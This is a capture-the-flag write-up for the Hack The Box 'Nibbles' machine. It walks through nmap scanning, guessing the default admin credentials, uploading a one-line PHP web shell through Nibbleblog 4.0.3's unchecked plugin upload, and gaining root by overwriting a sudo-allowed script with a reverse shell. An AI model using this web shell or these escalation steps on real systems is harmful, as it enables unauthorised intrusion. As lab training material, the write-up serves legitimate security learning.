../ HTB boot2root - Nibbles (Easy)

The Nibbles machine is an easy linux box.

If you are italian you might want to check out the related video.

#Getting a Foothold

As always, before starting we spawn the machine, check its assigned IP address and add it to our /etc/hosts as follows

 echo " nibbles" >> /etc/hosts

#Port Scanning

Doing basic scans with nmap gives us the following situation

  • basic script + version scan:

    nmap -sC -sV nibbles
    Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-12 02:08 CET
    Nmap scan report for nibbles (
    Host is up (0.055s latency).
    Not shown: 998 closed ports
    22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
    |   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
    |_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
    80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
    |_http-server-header: Apache/2.4.18 (Ubuntu)
    |_http-title: Site doesn't have a title (text/html).
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 9.73 seconds
  • full port scan:

    nmap -p- nibbles
    Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-12 02:08 CET
    Nmap scan report for nibbles (
    Host is up (0.055s latency).
    Not shown: 65533 closed ports
    22/tcp open  ssh
    80/tcp open  http
    Nmap done: 1 IP address (1 host up) scanned in 19.84 seconds

As we can see from the scans, a web server seems to be listening on port 80.

#Web Server Enumeration

When going into http://nibbles we are met with a page displaying a simple "Hello World" text. By checking out the source code we get the following

The comment seems to indicate to check out a particular directory named nibbleblog/. By going to the url http://nibbles/nibbleblog we are met with the following screen

By checking out the web we see that nibbleblog is a blog engine written in php, whose source code can be acquired through various sources such as a github repo.

By looking at the code we see a file named admin.php, by going there we are welcome with a login page

To gain access the credentials are admin:nibbles and are obtained by simple guessing: admin is a typical username and nibbles is the name of the machine.

Once inside we are able to check the version by going to the following url http://nibbles/nibbleblog/admin.php?controller=settings&action=general using the dashboard.

As we can see, our verson of nibbleblog is 4.0.3.

#Exploiting RCE on Nibbleblog

By doing a quick search for nibbleblog 4.0.3. CVEs we find the following useful resources

these resources present a RCE in nibbleblog 4.0.3 obtained by a RFI in which the user is able to upload a .php shell using the plugin my image, which is installed by default. The only requirements are the admin credentials, which we already found.

To actually exploit this we will do the following

  1. Write in a file called shell.php the following php code

       <?php echo system($_REQUEST['cmd']) ?>
  2. Upload the file using the file upload offered by the my image plugin. If the plugin is not already activated you can go to the following url to activate and install it

  3. Access the uploaded shell at the following url and start executing our code.


These steps are shown here

#Spawning a reverse shell

Once we have obtained RCE to actually spawn a reverse shell we can use the following url which spawns a reverse on ip and port 4321


#Privilege Escalation

#Getting user flag

Once inside we are nibbler user and the user flag is as simple as going to the home folder /home/nibbles.

 ls -lha /home/nibblertotal 20K
drwxr-xr-x 3 nibbler nibbler 4.0K Dec 29  2017 .
drwxr-xr-x 3 root    root    4.0K Dec 10  2017 ..
-rw------- 1 nibbler nibbler    0 Dec 29  2017 .bash_history
drwxrwxr-x 2 nibbler nibbler 4.0K Dec 10  2017 .nano
-r-------- 1 nibbler nibbler 1.9K Dec 10  2017 personal.zip
-r-------- 1 nibbler nibbler   33 Dec 13 11:08 user.txt

#Getting root flag

To get the root flag instead we have to unzip the personal.zip file to get

 unzip /home/nibbler/personal.zip Archive:  personal.zip
   creating: personal/
   creating: personal/stuff/
  inflating: personal/stuff/monitor.sh

Finally, by checking out sudo -l we see the following

 sudo -l Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
 (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

As we can see, we can run the script monitor.sh on the path /home/nibbler/personal/stuff as the root user. Since we can also overwrite the file, to get a root shell we simply need to write any reverse shell on it, listen on a port, and execute the script with

  sudo -u root ./home/nibbler/personal/stuff/monitor.sh 

this will get us our shell as root. Once we have that we can simply go to the root folder and get the flag.

 hostname Nibbles  iduid=0(root) gid=0(root) groups=0(root) ls -lha /root total 28K
drwx------  4 root root 4.0K Dec 29  2017 .
drwxr-xr-x 23 root root 4.0K Dec 28  2017 ..
-rw-------  1 root root    0 Dec 29  2017 .bash_history
-rw-r--r--  1 root root 3.1K Oct 22  2015 .bashrc
drwx------  2 root root 4.0K Dec 10  2017 .cache
drwxr-xr-x  2 root root 4.0K Dec 10  2017 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-r--------  1 root root   33 Dec 13 11:08 root.txt

#Final Remarks

This machine was pretty easy overall. The only interesting remark to mention is regarding the file upload that enabled us to obtain the RCE and thus to spawn the reverse shell on the target machine.

The actual vulnerability can be found by downloading the correct version of nibbleblog at the following url

The vulnerable code as reported in one of the previously linked resources can be found in the file admin/controllers/plugin/config.bit and is the following php code

if( ($_SERVER['REQUEST_METHOD'] == 'POST') && isset($_POST['plugin']) )
	$plugin = $plugins_all['PLUGIN_'.strtoupper($_POST['plugin'])]; // PLUGIN_MY_IMAGE

	if( $plugin->init_db() )
		// upload files
		foreach($_FILES as $field_name=>$file)
			// get file extension (.php)
			$extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));

			// get destination dir (/content/private/plugins/my_image)
			$destination = PATH_PLUGINS_DB.$plugin->get_dir_name();

			// complete file name
			$complete = $destination.'/'.$field_name.'.'.$extension;

			// WARNING: no checks on the extension are made before uploading!
			// Upload the new file and move
			if(move_uploaded_file($file["tmp_name"], $complete))
				// Resize images if requested by the plugin
                    // ...

        // ...

Notice in particular the move_uploaded_file(), which does not perform any check regarding the extension supplied by the user and which allowed us to upload the .php shell.